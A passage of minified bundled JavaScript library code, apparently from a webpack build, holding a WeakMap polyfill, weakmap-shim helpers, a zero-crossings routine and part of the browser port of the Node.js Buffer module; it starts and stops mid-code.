z=64,N=1.25,G={breaklines:!1,bolds:!1,italics:!1,subscripts:!1,superscripts:!1};O&&(O.size&&O.size>0&&(z=O.size),O.lineSpacing&&O.lineSpacing>0&&(N=O.lineSpacing),O.styletags&&O.styletags.breaklines&&(G.breaklines=!!O.styletags.breaklines),O.styletags&&O.styletags.bolds&&(G.bolds=!!O.styletags.bolds),O.styletags&&O.styletags.italics&&(G.italics=!!O.styletags.italics),O.styletags&&O.styletags.subscripts&&(G.subscripts=!!O.styletags.subscripts),O.styletags&&O.styletags.superscripts&&(G.superscripts=!!O.styletags.superscripts)),F.font=[O.fontStyle,O.fontVariant,O.fontWeight,z+"px",O.font].filter(function(q){return q}).join(" "),F.textAlign="start",F.textBaseline="alphabetic",F.direction="ltr";var J=n(_,F,B,z,N,G);return I(J,O,z)}},5346:function(d){(function(){if(typeof ses<"u"&&ses.ok&&!ses.ok())return;function t(C){C.permitHostObjects___&&C.permitHostObjects___(t)}typeof ses<"u"&&(ses.weakMapPermitHostObjects=t);var r=!1;if(typeof WeakMap=="function"){var f=WeakMap;if(!(typeof navigator<"u"&&/Firefox/.test(navigator.userAgent))){var a=new f,l=Object.freeze({});if(a.set(l,1),a.get(l)!==1)r=!0;else{d.exports=WeakMap;return}}}var u=Object.getOwnPropertyNames,s=Object.defineProperty,y=Object.isExtensible,c="weakmap:",b=c+"ident:"+Math.random()+"___";if(typeof crypto<"u"&&typeof crypto.getRandomValues=="function"&&typeof ArrayBuffer=="function"&&typeof Uint8Array=="function"){var h=new ArrayBuffer(25),i=new Uint8Array(h);crypto.getRandomValues(i),b=c+"rand:"+Array.prototype.map.call(i,function(C){return(C%36).toString(36)}).join("")+"___"}function v(C){return!(C.substr(0,c.length)==c&&C.substr(C.length-3)==="___")}if(s(Object,"getOwnPropertyNames",{value:function(x){return u(x).filter(v)}}),"getPropertyNames"in Object){var T=Object.getPropertyNames;s(Object,"getPropertyNames",{value:function(x){return T(x).filter(v)}})}function w(C){if(C!==Object(C))throw new TypeError("Not an object: "+C);var x=C[b];if(x&&x.key===C)return x;if(y(C)){x={key:C};try{return s(C,b,{value:x,writable:!1,enumerable:!1,configurable:!1}),x}catch{return}}}(function(){var C=Object.freeze;s(Object,"freeze",{value:function(B){return w(B),C(B)}});var x=Object.seal;s(Object,"seal",{value:function(B){return w(B),x(B)}});var I=Object.preventExtensions;s(Object,"preventExtensions",{value:function(B){return w(B),I(B)}})})();function E(C){return C.prototype=null,Object.freeze(C)}var p=!1;function A(){!p&&typeof console<"u"&&(p=!0,console.warn("WeakMap should be invoked as new WeakMap(), not WeakMap(). This will be an error in the future."))}var m=0,n=function(){this instanceof n||A();var C=[],x=[],I=m++;function k(O,z){var N,G=w(O);return G?I in G?G[I]:z:(N=C.indexOf(O),N>=0?x[N]:z)}function B(O){var z=w(O);return z?I in z:C.indexOf(O)>=0}function _(O,z){var N,G=w(O);return G?G[I]=z:(N=C.indexOf(O),N>=0?x[N]=z:(N=C.length,x[N]=z,C[N]=O)),this}function F(O){var z=w(O),N,G;return z?I in z&&delete z[I]:(N=C.indexOf(O),N<0?!1:(G=C.length-1,C[N]=void 0,x[N]=x[G],C[N]=C[G],C.length=G,x.length=G,!0))}return Object.create(n.prototype,{get___:{value:E(k)},has___:{value:E(B)},set___:{value:E(_)},delete___:{value:E(F)}})};n.prototype=Object.create(Object.prototype,{get:{value:function(x,I){return this.get___(x,I)},writable:!0,configurable:!0},has:{value:function(x){return this.has___(x)},writable:!0,configurable:!0},set:{value:function(x,I){return this.set___(x,I)},writable:!0,configurable:!0},delete:{value:function(x){return this.delete___(x)},writable:!0,configurable:!0}}),typeof f=="function"?function(){r&&typeof Proxy<"u"&&(Proxy=void 0);function C(){this instanceof n||A();var x=new f,I=void 0,k=!1;function B(z,N){return I?x.has(z)?x.get(z):I.get___(z,N):x.get(z,N)}function _(z){return x.has(z)||(I?I.has___(z):!1)}var F;r?F=function(z,N){return x.set(z,N),x.has(z)||(I||(I=new n),I.set(z,N)),this}:F=function(z,N){if(k)try{x.set(z,N)}catch{I||(I=new n),I.set___(z,N)}else x.set(z,N);return this};function O(z){var N=!!x.delete(z);return I&&I.delete___(z)||N}return Object.create(n.prototype,{get___:{value:E(B)},has___:{value:E(_)},set___:{value:E(F)},delete___:{value:E(O)},permitHostObjects___:{value:E(function(z){if(z===t)k=!0;else throw new Error("bogus call to permitHostObjects___")})}})}C.prototype=n.prototype,d.exports=C,Object.defineProperty(WeakMap.prototype,"constructor",{value:WeakMap,enumerable:!1,configurable:!0,writable:!0})}():(typeof Proxy<"u"&&(Proxy=void 0),d.exports=n)})()},9222:function(d,g,t){var r=t(7178);d.exports=f;function f(){var a={};return function(l){if((typeof l!="object"||l===null)&&typeof l!="function")throw new Error("Weakmap-shim: Key must be object");var u=l.valueOf(a);return u&&u.identity===a?u:r(l,a)}}},7178:function(d){d.exports=g;function g(t,r){var f={identity:r},a=t.valueOf;return Object.defineProperty(t,"valueOf",{value:function(l){return l!==r?a.apply(this,arguments):f},writable:!0}),f}},4037:function(d,g,t){var r=t(9222);d.exports=f;function f(){var a=r();return{get:function(l,u){var s=a(l);return s.hasOwnProperty("value")?s.value:u},set:function(l,u){return a(l).value=u,this},has:function(l){return"value"in a(l)},delete:function(l){return delete a(l).value}}}},6183:function(d){function g(){return function(u,s,y,c,b,h){var i=u[0],v=y[0],T=[0],w=v;c|=0;var E=0,p=v;for(E=0;E<i;++E){{var A=s[c]-h,m=s[c+w]-h;A>=0!=m>=0&&b.push(T[0]+.5+.5*(A+m)/(A-m))}c+=p,++T[0]}}}function t(){return g()}var r=t;function f(u){var s={};return function(c,b,h){var i=c.dtype,v=c.order,T=[i,v.join()].join(),w=s[T];return w||(s[T]=w=u([i,v])),w(c.shape.slice(0),c.data,c.stride,c.offset|0,b,h)}}function a(u){return f(r.bind(void 0,u))}function l(u){return a({funcName:u.funcName})}d.exports=l({funcName:"zeroCrossings"})},9584:function(d,g,t){d.exports=f;var r=t(6183);function f(a,l){var u=[];return l=+l||0,r(a.hi(a.shape[0]-1),u,l),u}},6601:function(){}},o={};function L(d){var g=o[d];if(g!==void 0)return g.exports;var t=o[d]={id:d,loaded:!1,exports:{}};return P[d].call(t.exports,t,t.exports,L),t.loaded=!0,t.exports}(function(){L.g=function(){if(typeof globalThis=="object")return globalThis;try{return this||new Function("return this")()}catch{if(typeof window=="object")return window}}()})(),function(){L.nmd=function(d){return d.paths=[],d.children||(d.children=[]),d}}();var S=L(7386);return S}()})},12856:function(te,Z,e){/*!
 * The buffer module from node.js, for the browser.
 *
 * @author   Feross Aboukhadijeh <https://feross.org>
 * @license  MIT
 */function M(Ge,Le){if(!(Ge instanceof Le))throw new TypeError("Cannot call a class as a function")}function P(Ge,Le){for(var Pe=0;Pe<Le.length;Pe++){var De=Le[Pe];De.enumerable=De.enumerable||!1,De.configurable=!0,"value"in De&&(De.writable=!0),Object.defineProperty(Ge,L(De.key),De)}}function o(Ge,Le,Pe){return Le&&P(Ge.prototype,Le),Object.defineProperty(Ge,"prototype",{writable:!1}),Ge}function L(Ge){var Le=S(Ge,"string");return u(Le)==="symbol"?Le:String(Le)}function S(Ge,Le){if(u(Ge)!=="object"||Ge===null)return Ge;var Pe=Ge[Symbol.toPrimitive];if(Pe!==void 0){var De=Pe.call(Ge,Le);if(u(De)!=="object")return De;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(Ge)}function d(Ge,Le){if(typeof Le!="function"&&Le!==null)throw new TypeError("Super expression must either be null or a function");Ge.prototype=Object.create(Le&&Le.prototype,{constructor:{value:Ge,writable:!0,configurable:!0}}),Object.defineProperty(Ge,"prototype",{writable:!1}),Le&&g(Ge,Le)}function g(Ge,Le){return g=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(De,Ee){return De.__proto__=Ee,De},g(Ge,Le)}function t(Ge){var Le=a();return function(){var De=l(Ge),Ee;if(Le){var ye=l(this).constructor;Ee=Reflect.construct(De,arguments,ye)}else Ee=De.apply(this,arguments);return r(this,Ee)}}function r(Ge,Le){if(Le&&(u(Le)==="object"||typeof Le=="function"))return Le;if(Le!==void 0)throw new TypeError("Derived constructors may only return object or undefined");return f(Ge)}function f(Ge){if(Ge===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return Ge}function a(){if(typeof Reflect>"u"||!Reflect.construct||Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch{return!1}}function l(Ge){return l=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(Pe){return Pe.__proto__||Object.getPrototypeOf(Pe)},l(Ge)}function u(Ge){"@babel/helpers - typeof";return u=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(Le){return typeof Le}:function(Le){return Le&&typeof Symbol=="function"&&Le.constructor===Symbol&&Le!==Symbol.prototype?"symbol":typeof Le},u(Ge)}var s=e(95341),y=e(95280),c=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;Z.Buffer=v,Z.SlowBuffer=k,Z.INSPECT_MAX_BYTES=50;var b=2147483647;Z.kMaxLength=b,v.TYPED_ARRAY_SUPPORT=h(),!v.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function h(){try{var Ge=new Uint8Array(1),Le={foo:function(){return 42}};return Object.setPrototypeOf(Le,Uint8Array.prototype),Object.setPrototypeOf(Ge,Le),Ge.foo()===42}catch{return!1}}Object.defineProperty(v.prototype,"parent",{enumerable:!0,get:function(){if(v.isBuffer(this))return this.buffer}}),Object.defineProperty(v.prototype,"offset",{enumerable:!0,get:function(){if(v.isBuffer(this))return this.byteOffset}});function i(Ge){if(Ge>b)throw new RangeError('The value "'+Ge+'" is invalid for option "size"');var Le=new Uint8Array(Ge);return Object.setPrototypeOf(Le,v.prototype),Le}function v(Ge,Le,Pe){if(typeof Ge=="number"){if(typeof Le=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return p(Ge)}return T(Ge,Le,Pe)}v.poolSize=8192;function T(Ge,Le,Pe){if(typeof Ge=="string")return A(Ge,Le);if(ArrayBuffer.isView(Ge))return n(Ge);if(Ge==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+u(Ge));if(lt(Ge,ArrayBuffer)||Ge&&lt(Ge.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(lt(Ge,SharedArrayBuffer)||Ge&&lt(Ge.buffer,SharedArrayBuffer)))return C(Ge,Le,Pe);if(typeof Ge=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');var De=Ge.valueOf&&Ge.valueOf();if(De!=null&&De!==Ge)return v.from(De,Le,Pe);var Ee=x(Ge);if(Ee)return Ee;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof Ge[Symbol.toPrimitive]=="function")return v.from(Ge[Symbol.toPrimitive]("string"),Le,Pe);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+u(Ge))}v.from=function(Ge,Le,Pe){return T(Ge,Le,Pe)},Object.setPrototypeOf(v.prototype,Uint8Array.prototype),Object.setPrototypeOf(v,Uint8Array);function w(Ge){if(typeof Ge!="number")throw new TypeError('"size" argument must be of type number');if(Ge<0)throw new RangeError('The value "'+Ge+'" is invalid for option "size"')}function E(Ge,Le,Pe){return w(Ge),Ge<=0?i(Ge):Le!==void 0?typeof Pe=="string"?i(Ge).fill(Le,Pe):i(Ge).fill(Le):i(Ge)}v.alloc=function(Ge,Le,Pe){return E(Ge,Le,Pe)};function p(Ge){return w(Ge),i(Ge<0?0:I(Ge)|0)}v.allocUnsafe=function(Ge){return p(Ge)},v.allocUnsafeSlow=function(Ge){return p(Ge)};function A(Ge,Le){if((typeof Le!="string"||Le==="")&&(Le="utf8"),!v.isEncoding(Le))throw new TypeError("Unknown encoding: "+Le);var Pe=B(Ge,Le)|0,De=i(Pe),Ee=De.write(Ge,Le);return Ee!==Pe&&(De=De.slice(0,Ee)),De}function m(Ge){for(var Le=Ge.length<0?0:I(Ge.length)|0,Pe=i(Le),De=0;De<Le;De+=1)Pe[De]=Ge[De]&255;return Pe}function n(Ge){if(lt(Ge,Uint8Array)){var Le=new Uint8Array(Ge);return C(Le.buffer,Le.byteOffset,Le.byteLength)}return m(Ge)}function C(Ge,Le,Pe){if(Le<0||Ge.byteLength<Le)throw new RangeError('"offset" is outside of buffer bounds');if(Ge.byteLength<Le+(Pe||0))throw new RangeError('"length" is outside of buffer bounds');var De;return Le===void 0&&Pe===void 0?De=new Uint8Array(Ge):Pe===void 0?De=new Uint8Array(Ge,Le):De=new Uint8Array(Ge,Le,Pe),Object.setPrototypeOf(De,v.prototype),De}function x(Ge){if(v.isBuffer(Ge)){var Le=I(Ge.length)|0,Pe=i(Le);return Pe.length===0||Ge.copy(Pe,0,0,Le),Pe}if(Ge.length!==void 0)return typeof Ge.length!="number"||ut(Ge.length)?i(0):m(Ge);if(Ge.type==="Buffer"&&Array.isArray(Ge.data))return m(Ge.data)}function I(Ge){if(Ge>=b)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+b.toString(16)+" bytes");return Ge|0}function k(Ge){return+Ge!=Ge&&(Ge=0),v.alloc(+Ge)}v.isBuffer=function(Le){return Le!=null&&Le._isBuffer===!0&&Le!==v.prototype},v.compare=function(Le,Pe){if(lt(Le,Uint8Array)&&(Le=v.from(Le,Le.offset,Le.byteLength)),lt(Pe,Uint8Array)&&(Pe=v.from(Pe,Pe.offset,Pe.byteLength)),!v.isBuffer(Le)||!v.isBuffer(Pe))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(Le===Pe)return 0;for(var De=Le.length,Ee=Pe.length,ye=0,ae=Math.min(De,Ee);ye<ae;++ye)if(Le[ye]!==Pe[ye]){De=Le[ye],Ee=Pe[ye];break}return De<Ee?-1:Ee<De?1:0},v.isEncoding=function(Le){switch(String(Le).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},v.concat=function(Le,Pe){if(!Array.isArray(Le))throw new TypeError('"list" argument must be an Array of Buffers');if(Le.length===0)return v.alloc(0);var De;if(Pe===void 0)for(Pe=0,De=0;De<Le.length;++De)Pe+=Le[De].length;var Ee=v.allocUnsafe(Pe),ye=0;for(De=0;De<Le.length;++De){var ae=Le[De];if(lt(ae,Uint8Array))ye+ae.length>Ee.length?(v.isBuffer(ae)||(ae=v.from(ae)),ae.copy(Ee,ye)):Uint8Array.prototype.set.call(Ee,ae,ye);else if(v.isBuffer(ae))ae.copy(Ee,ye);else throw new TypeError('"list" argument must be an Array of Buffers');ye+=ae.length}return Ee};function B(Ge,Le){if(v.isBuffer(Ge))return Ge.length;if(ArrayBuffer.isView(Ge)||lt(Ge,ArrayBuffer))return Ge.byteLength;if(typeof Ge!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+u(Ge));var Pe=Ge.length,De=arguments.length>2&&arguments[2]===!0;if(!De&&Pe===0)return 0;for(var Ee=!1;;)switch(Le){case"ascii":case"latin1":case"binary":return Pe;case"utf8":case"utf-8":return $e(Ge).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return Pe*2;case"hex":return Pe>>>1;case"base64":return Ke(Ge).length;default:if(Ee)return De?-1:$e(Ge).length;Le=(""+Le).toLowerCase(),Ee=!0}}v.byteLength=B;function _(Ge,Le,Pe){var De=!1;if((Le===void 0||Le<0)&&(Le=0),Le>this.length||((Pe===void 0||Pe>this.length)&&(Pe=this.length),Pe<=0)||(Pe>>>=0,Le>>>=0,Pe<=Le))return"";for(Ge||(Ge="utf8");;)switch(Ge){case"hex":return ie(this,Le,Pe);case"utf8":case"utf-8":return X(this,Le,Pe);case"ascii":return Y(this,Le,Pe);case"latin1":case"binary":return Q(this,Le,Pe);case"base64":return fe(this,Le,Pe);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return j(this,Le,Pe);default:if(De)throw new TypeError("Unknown encoding: "+Ge);Ge=(Ge+"").toLowerCase(),De=!0}}v.prototype._isBuffer=!0;function F(Ge,Le,Pe){var De=Ge[Le];Ge[Le]=Ge[Pe],Ge[Pe]=De}v.prototype.swap16=function(){var Le=this.length;if(Le%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var Pe=0;Pe<Le;Pe+=2)F(this,Pe,Pe+1);return this},v.prototype.swap32=function(){var Le=this.length;if(Le%4!==0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var Pe=0;Pe<Le;Pe+=4)F(this,Pe,Pe+3),F(this,Pe+1,Pe+2);return this},v.prototype.swap64=function(){var Le=this.length;if(Le%8!==0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var Pe=0;Pe<Le;Pe+=8)F(this,Pe,Pe+7),F(this,Pe+1,Pe+6),F(this,Pe+2,Pe+5),F(this,Pe+3,Pe+4);return this},v.prototype.toString=function(){var Le=this.length;return Le===0?"":arguments.length===0?X(this,0,Le):_.apply(this,arguments)},v.prototype.toLocaleString=v.prototype.toString,v.prototype.equals=function(Le){if(!v.isBuffer(Le))throw new TypeError("Argument must be a Buffer");return this===Le?!0:v.compare(this,Le)===0},v.prototype.inspect=function(){var Le="",Pe=Z.INSPECT_MAX_BYTES;return Le=this.toString("hex",0,Pe).replace(/(.{2})/g,"$1 ").trim(),this.length>Pe&&(Le+=" ... "),"<Buffer "+Le+">"},c&&(v.prototype[c]=v.prototype.inspect),v.prototype.compare=function(Le,Pe,De,Ee,ye){if(lt(Le,Uint8Array)&&(Le=v.from(Le,Le.offset,Le.byteLength)),!v.isBuffer(Le))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+u(Le));if(Pe===void 0&&(Pe=0),De===void 0&&(De=Le?Le.length:0),Ee===void 0&&(Ee=0),ye===void 0&&(ye=this.length),Pe<0||De>Le.length||Ee<0||ye>this.length)throw new RangeError("out of range index");if(Ee>=ye&&Pe>=De)return 0;if(Ee>=ye)return-1;if(Pe>=De)return 1;if(Pe>>>=0,De>>>=0,Ee>>>=0,ye>>>=0,this===Le)return 0;for(var ae=ye-Ee,de=De-Pe,Me=Math.min(ae,de),Ie=this.slice(Ee,ye),Qe=Le.slice(Pe,De),et=0;et<Me;++et)if(Ie[et]!==Qe[et]){ae=Ie[et],de=Qe[et];break}return ae<de?-1:de<ae?1:0};function O(Ge,Le,Pe,De,Ee){if(Ge.length===0)return-1;if(typeof Pe=="string"?(De=Pe,Pe=0):Pe>2147483647?Pe=2147483647:Pe<-2147483648&&(Pe=-2147483648),Pe=+Pe,ut(Pe)&&(Pe=Ee?0:Ge.length-1),Pe<0&&(Pe=Ge.length+Pe),Pe>=Ge.length){if(Ee)return-1;Pe=Ge.length-1}else if(Pe<0)if(Ee)Pe=0;else return-1;if(typeof Le=="string"&&(Le=v.from(Le,De)),v.isBuffer(Le))return Le.length===0?-1:z(Ge,Le,Pe,De,Ee);if(typeof Le=="number")return Le=Le&255,typeof Uint8Array.prototype.indexOf=="function"?Ee?Uint8Array.prototype.indexOf.call(Ge,Le,Pe):Uint8Array.prototype.lastIndexOf.call(Ge,Le,Pe):z(Ge,[Le],Pe,De,Ee);throw new TypeError("val must be string, number or Buffer")}function z(Ge,Le,Pe,De,Ee){var ye=1,ae=Ge.length,de=Le.length;if(De!==void 0&&(De=String(De).toLowerCase(),De==="ucs2"||De==="ucs-2"||De==="utf16le"||De==="utf-16le")){if(Ge.length<2||Le.length<2)return-1;ye=2,ae/=2,de/=2,Pe/=2}function Me(St,_t){return ye===1?St[_t]:St.readUInt16BE(_t*ye)}var Ie;if(Ee){var Qe=-1;for(Ie=Pe;Ie<ae;Ie++)if(Me(Ge,Ie)===Me(Le,Qe===-1?0:Ie-Qe)){if(Qe===-1&&(Qe=Ie),Ie-Qe+1===de)return Qe*ye}else Qe!==-1&&(Ie-=Ie-Qe),Qe=-1}else for(Pe+de>ae&&(Pe=ae-de),Ie=Pe;Ie>=0;Ie--){for(var et=!0,pt=0;pt<de;pt++)if(Me(Ge,Ie+pt)!==Me(Le,pt)){et=!1;break}if(et)return Ie}return-1}v.prototype.includes=function(Le,Pe,De){return this.indexOf(Le,Pe,De)!==-1},v.prototype.indexOf=function(Le,Pe,De){return O(this,Le,Pe,De,!0)},v.prototype.lastIndexOf=function(Le,Pe,De){return O(this,Le,Pe,De,!1)};function N(Ge,Le,Pe,De){Pe=Number(Pe)||0;var Ee=Ge.length-Pe;De?(De=Number(De),De>Ee&&(De=Ee)):De=Ee;var ye=Le.length;De>ye/2&&(De=ye/2);var ae;for(ae=0;ae<De;++ae){var de=parseInt(Le.substr(ae*2,2),16);if(ut(de))return ae;Ge[Pe+ae]=de}return ae}function G(Ge,Le,Pe,De){return st($e(Le,Ge.length-Pe),Ge,Pe,De)}function J(Ge,Le,Pe,De){return st(Xe(Le),Ge,Pe,De)}function q(Ge,Le,Pe,De){return st(Ke(Le),Ge,Pe,De)}function ne(Ge,Le,Pe,De){return st(Ze(Le,Ge.length-Pe),Ge,Pe,De)}v.prototype.write=function(Le,Pe,De,Ee){if(Pe===void 0)Ee="utf8",De=this.length,Pe=0;else if(De===void 0&&typeof Pe=="string")Ee=Pe,De=this.length,Pe=0;else if(isFinite(Pe))Pe=Pe>>>0,isFinite(De)?(De=De>>>0,Ee===void 0&&(Ee="utf8")):(Ee=De,De=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");var ye=this.length-Pe;if((De===void 0||De>ye)&&(De=ye),Le.length>0&&(De<0||Pe<0)||Pe>this.length)throw new RangeError("Attempt to write outside buffer bounds");Ee||(Ee="utf8");for(var ae=!1;;)switch(Ee){case"hex":return N(this,Le,Pe,De);case"utf8":case"utf-8":return G(this,Le,Pe,De);case"ascii":case"latin1":case"binary":return J(this,Le,Pe,De);case"base64":return q(this,Le,Pe,De);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return ne(this,Le,Pe,De);default:if(ae)throw new TypeError("Unknown encoding: "+Ee);Ee=(""+Ee).toLowerCase(),ae=!0}},v.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function fe(Ge,Le,Pe){return Le===0&&Pe===Ge.length?s.fromByteArray(Ge):s.fromByteArray(Ge.slice(Le,Pe))}function X(Ge,Le,Pe){Pe=Math.min(Ge.length,Pe);for(var De=[],Ee=Le;Ee<Pe;){var ye=Ge[Ee],ae=null,de=ye>239?4:ye>223?3:ye>191?2:1;if(Ee+de<=Pe){var Me=void 0,Ie=void 0,Qe=void 0,et=void 0;switch(de){case 1:ye<128&&(ae=ye);break;case 2:Me=Ge[Ee+1],(Me&192)===128&&(et=(ye&31)<<6|Me&63,et>127&&(ae=et));break;case 3:Me=Ge[Ee+1],Ie=Ge[Ee+2],(Me&192)===128&&(Ie&192)===128&&(et=(ye&15)<<12|(Me&63)<<6|Ie&63,et>2047&&(et<55296||et>57343)&&(ae=et));break;case 4:Me=Ge[Ee+1],Ie=Ge[Ee+2],Qe=Ge[Ee+3],(Me&192)===128&&(Ie&192)===128&&(Qe&192)===128&&(et=(ye&15)<<18|(Me&63)<<12|(Ie&63)<<6|Qe&63,et>65535&&et<1114112&&(ae=et))}}ae===null?(ae=65533,de=1):ae>65535&&(ae-=65536,De.push(ae>>>10&1023|55296),ae=56320|ae&1023),De.push(ae),Ee+=de}return V(De)}var W=4096;function V(Ge){var Le=Ge.length;if(Le<=W)return String.fromCharCode.apply(String,Ge);for(var Pe="",De=0;De<Le;)Pe+=String.fromCharCode.apply(String,Ge.slice(De,De+=W));return Pe}function Y(Ge,Le,Pe){var De="";Pe=Math.min(Ge.length,Pe);for(var Ee=Le;Ee<Pe;++Ee)De+=String.fromCharCode(Ge[Ee]&127);return De}function Q(Ge,Le,Pe){var De="";Pe=Math.min(Ge.length,Pe);for(var Ee=Le;Ee<Pe;++Ee)De+=String.fromCharCode(Ge[Ee]);return De}function ie(Ge,Le,Pe){var De=Ge.length;(!Le||Le<0)&&(Le=0),(!Pe||Pe<0||Pe>De)&&(Pe=De);for(var Ee="",ye=Le;ye<Pe;++ye)Ee+=yt[Ge[ye]];return Ee}function j(Ge,Le,Pe){for(var De=Ge.slice(Le,Pe),Ee="",ye=0;ye<De.length-1;ye+=2)Ee+=String.fromCharCode(De[ye]+De[ye+1]*256);return Ee}v.prototype.slice=function(Le,Pe){var De=this.length;Le=~~Le,Pe=Pe===void 0?De:~~Pe,Le<0?(Le+=De,Le<0&&(Le=0)):Le>De&&(Le=De),Pe<0?(Pe+=De,Pe<0&&(Pe=0)):Pe>De&&(Pe=De),Pe<Le&&(Pe=Le);var Ee=this.subarray(Le,Pe);return Object.setPrototypeOf(Ee,v.prototype),Ee};function K(Ge,Le,Pe){if(Ge%1!==0||Ge<0)throw new RangeError("offset is not uint");if(Ge+Le>Pe)throw new RangeError("Trying to access beyond buffer length")}v.prototype.readUintLE=v.prototype.readUIntLE=function(Le,Pe,De){Le=Le>>>0,Pe=Pe>>>0,De||K(Le,Pe,this.length);for(var Ee=this[Le],ye=1,ae=0;++ae<Pe&&(ye*=256);)Ee+=this[Le+ae]*ye;return Ee},v.prototype.readUintBE=v.prototype.readUIntBE=function(Le,Pe,De){Le=Le>>>0,Pe=Pe>>>0,De||K(Le,Pe,this.length);for(var Ee=this[Le+--Pe],ye=1;Pe>0&&(ye*=256);)Ee+=this[Le+--Pe]*ye;return Ee},v.prototype.readUint8=v.prototype.readUInt8=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,1,this.length),this[Le]},v.prototype.readUint16LE=v.prototype.readUInt16LE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,2,this.length),this[Le]|this[Le+1]<<8},v.prototype.readUint16BE=v.prototype.readUInt16BE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,2,this.length),this[Le]<<8|this[Le+1]},v.prototype.readUint32LE=v.prototype.readUInt32LE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),(this[Le]|this[Le+1]<<8|this[Le+2]<<16)+this[Le+3]*16777216},v.prototype.readUint32BE=v.prototype.readUInt32BE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),this[Le]*16777216+(this[Le+1]<<16|this[Le+2]<<8|this[Le+3])},v.prototype.readBigUInt64LE=bt(function(Le){Le=Le>>>0,Fe(Le,"offset");var Pe=this[Le],De=this[Le+7];(Pe===void 0||De===void 0)&&Oe(Le,this.length-8);var Ee=Pe+this[++Le]*Math.pow(2,8)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,24),ye=this[++Le]+this[++Le]*Math.pow(2,8)+this[++Le]*Math.pow(2,16)+De*Math.pow(2,24);return BigInt(Ee)+(BigInt(ye)<<BigInt(32))}),v.prototype.readBigUInt64BE=bt(function(Le){Le=Le>>>0,Fe(Le,"offset");var Pe=this[Le],De=this[Le+7];(Pe===void 0||De===void 0)&&Oe(Le,this.length-8);var Ee=Pe*Math.pow(2,24)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,8)+this[++Le],ye=this[++Le]*Math.pow(2,24)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,8)+De;return(BigInt(Ee)<<BigInt(32))+BigInt(ye)}),v.prototype.readIntLE=function(Le,Pe,De){Le=Le>>>0,Pe=Pe>>>0,De||K(Le,Pe,this.length);for(var Ee=this[Le],ye=1,ae=0;++ae<Pe&&(ye*=256);)Ee+=this[Le+ae]*ye;return ye*=128,Ee>=ye&&(Ee-=Math.pow(2,8*Pe)),Ee},v.prototype.readIntBE=function(Le,Pe,De){Le=Le>>>0,Pe=Pe>>>0,De||K(Le,Pe,this.length);for(var Ee=Pe,ye=1,ae=this[Le+--Ee];Ee>0&&(ye*=256);)ae+=this[Le+--Ee]*ye;return ye*=128,ae>=ye&&(ae-=Math.pow(2,8*Pe)),ae},v.prototype.readInt8=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,1,this.length),this[Le]&128?(255-this[Le]+1)*-1:this[Le]},v.prototype.readInt16LE=function(Le,Pe){Le=Le>>>0,Pe||K(Le,2,this.length);var De=this[Le]|this[Le+1]<<8;return De&32768?De|4294901760:De},v.prototype.readInt16BE=function(Le,Pe){Le=Le>>>0,Pe||K(Le,2,this.length);var De=this[Le+1]|this[Le]<<8;return De&32768?De|4294901760:De},v.prototype.readInt32LE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),this[Le]|this[Le+1]<<8|this[Le+2]<<16|this[Le+3]<<24},v.prototype.readInt32BE=function(Le,Pe){return Le=Le>>>0,Pe||K(Le,4,this.length),this[Le]<<24|this[Le+1]<<16|this[Le+2]<<8|this[Le+3]},v.prototype.readBigInt64LE=bt(function(Le){Le=Le>>>0,Fe(Le,"offset");var Pe=this[Le],De=this[Le+7];(Pe===void 0||De===void 0)&&Oe(Le,this.length-8);var Ee=this[Le+4]+this[Le+5]*Math.pow(2,8)+this[Le+6]*Math.pow(2,16)+(De<<24);return(BigInt(Ee)<<BigInt(32))+BigInt(Pe+this[++Le]*Math.pow(2,8)+this[++Le]*Math.pow(2,16)+this[++Le]*Math.pow(2,24))}),v.prototype.readBigInt64BE=bt(function(Le){Le=Le>>>0,Fe(Le,"offset");var Pe=this[Le],De=this[Le+7];(Pe===void 0||De===void 0)&&Oe(Le,this.length-8);var 